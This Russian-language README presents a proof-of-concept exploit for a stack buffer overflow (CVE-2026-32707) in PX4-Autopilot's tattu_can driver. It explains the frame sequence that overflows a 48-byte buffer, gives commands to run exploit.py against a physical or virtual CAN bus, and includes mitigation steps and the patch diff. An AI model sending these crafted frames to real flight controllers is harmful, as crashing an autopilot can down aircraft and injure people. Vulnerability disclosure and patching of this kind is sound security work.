
Доказательство концепции эксплуатации для CVE-2026-32707 — переполнение буфера стека в драйвере tattu_can автопилота PX4-Autopilot, вызывающее отказ в обслуживании через специально сформированные CAN-кадры.
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║ ║
║ ██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗ ║
║ ██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██╗ ║
║ ██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝ ║
║ ██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║
║ ██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ║
║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ║
║ ║
║ [ b a n y a m e r _ s e c u r i t y ] ║
║ ║
║ ▸ Silent Hunter | Shadow Presence | Digital Intel ◂ ║
║ ║
║ Operator : Mohammed Idrees Banyamer • Jordan 🇯🇴 ║
║ Handle : @banyamer_security ║
║ ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
Этот репозиторий содержит эксплойт proof‑of‑concept (PoC) для CVE‑2026‑32707 — переполнение буфера стека в драйвере tattu_can прошивки контроллера полёта PX4‑Autopilot (версии ≤ 1.17.0‑rc1). Уязвимость находится в процедуре сборки многофреймовых сообщений: при восстановлении структуры Tattu12SBatteryMessage в стеке драйвер выполняет неограниченные операции memcpy() без проверки накопленного смещения относительно размера буфера (48 байт). Злоумышленник, способный отправлять CAN‑кадры в ту же шину, может вызвать переполнение, что приводит к повреждению стека и последующему сбою (отказ в обслуживании) процесса PX4.
sequenceDiagram
participant Attacker as Attacker (CAN Node)
participant CANbus as CAN Bus
participant PX4 as PX4 Autopilot (tattu_can)
Attacker->>CANbus: 1. Start frame (DLC=8, data[7]=0x80)
CANbus->>PX4: Start-of-transfer received
PX4->>PX4: tattu_message buffer (48 bytes)<br/>Copy offset=5 bytes
loop Overflow frames (7x)
Attacker->>CANbus: Overflow frame (DLC=8, payload 7 bytes)
CANbus->>PX4: memcpy(dest+offset, payload, 7)
PX4->>PX4: offset += 7
end
Attacker->>CANbus: Final overflow frame (DLC=8)
CANbus->>PX4: memcpy(dest+offset, payload, 7)
PX4->>PX4: offset > 48 → STACK OVERFLOW
PX4-->>PX4: Crash (segfault / hard fault)
Note over PX4: Denial of Servicetattu_can3f04b7a)python-canCAP_NET_RAW) для отправки сырых CAN‑кадровcan0 или виртуальный vcan0)# Клонирование репозитория
git clone https://github.com/mbanyamer/CVE-2026-32707-PoC.git
cd CVE-2026-32707-PoC
# Установка python-can
pip3 install python-can
# (Опционально) Создание виртуального CAN-интерфейса для тестирования
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0
sudo python3 exploit.py <can_interface>
# Эксплуатация через виртуальный CAN-интерфейс (для симуляции/тестирования)
sudo python3 exploit.py vcan0
# Эксплуатация через физическую CAN-шину
sudo python3 exploit.py can0
0x80, что сигнализирует драйверу о начале сборки нового Tattu12SBatteryMessage и копирует первые 5 байт в буфер стека.memcpy(), который записывает за границу буфера, повреждая стековый кадр.[*] Sending start-of-transfer frame on vcan0 (can_id=0x00000123)
[*] Sending 7 overflow frames (each copies 7 bytes)...
[*] Sending final overflow frame...
[+] Attack sequence completed. The PX4 tattu_can driver should now crash.
tattu_can, если он не требуется (tattu_can stop или удалите из сборки).3f04b7a):while (receive(&received_frame) > 0) {
+ if (received_frame.payload_size == 0) {
+ break;
+ }
size_t payload_size = received_frame.payload_size - 1;
- // TODO: add check ...
+ if (offset + payload_size > sizeof(tattu_message)) {
+ break;
+ }
memcpy(((char *)&tattu_message) + offset, received_frame.payload, payload_size);
offset += payload_size;
}
3f04b7aЭтот proof‑of‑concept предоставлен только для образовательных целей и целей тестирования безопасности. Используйте его только на системах, которыми вы владеете или на тестирование которых у вас есть явное разрешение. Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый этим кодом.